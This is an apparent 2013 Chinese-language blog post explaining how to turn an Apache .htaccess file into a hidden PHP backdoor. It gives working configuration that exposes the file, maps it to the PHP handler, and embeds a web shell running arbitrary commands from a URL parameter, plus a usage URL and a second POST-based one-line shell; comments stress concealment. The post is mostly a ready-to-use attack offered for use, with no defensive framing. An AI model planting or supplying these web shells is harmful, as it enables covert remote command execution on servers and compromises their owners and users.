Total Pageviews

Saturday, 13 April 2013

用.htaccess做更隐蔽的后门-另类PHP后门


.htaccess内容如下
#首先允许web访问这个文件

<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

RedirectMatch 403 .htaccess$
#.htaccess结尾的403错误,这里是为了增加隐蔽性

AddType application/x-httpd-php .htaccess
#给.htaccess映射php拓展

### SHELL ### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>### KINDLE ###
#恶意的php代码
使用方法:http://localhost/.htaccess/?c=dir
例子:
<Files ~ "^\.ht">
    Order allow,deny
    allow from all
</Files>

AddType application/x-httpd-php .htaccess

#<?php $_POST['id']($_POST['image']);?>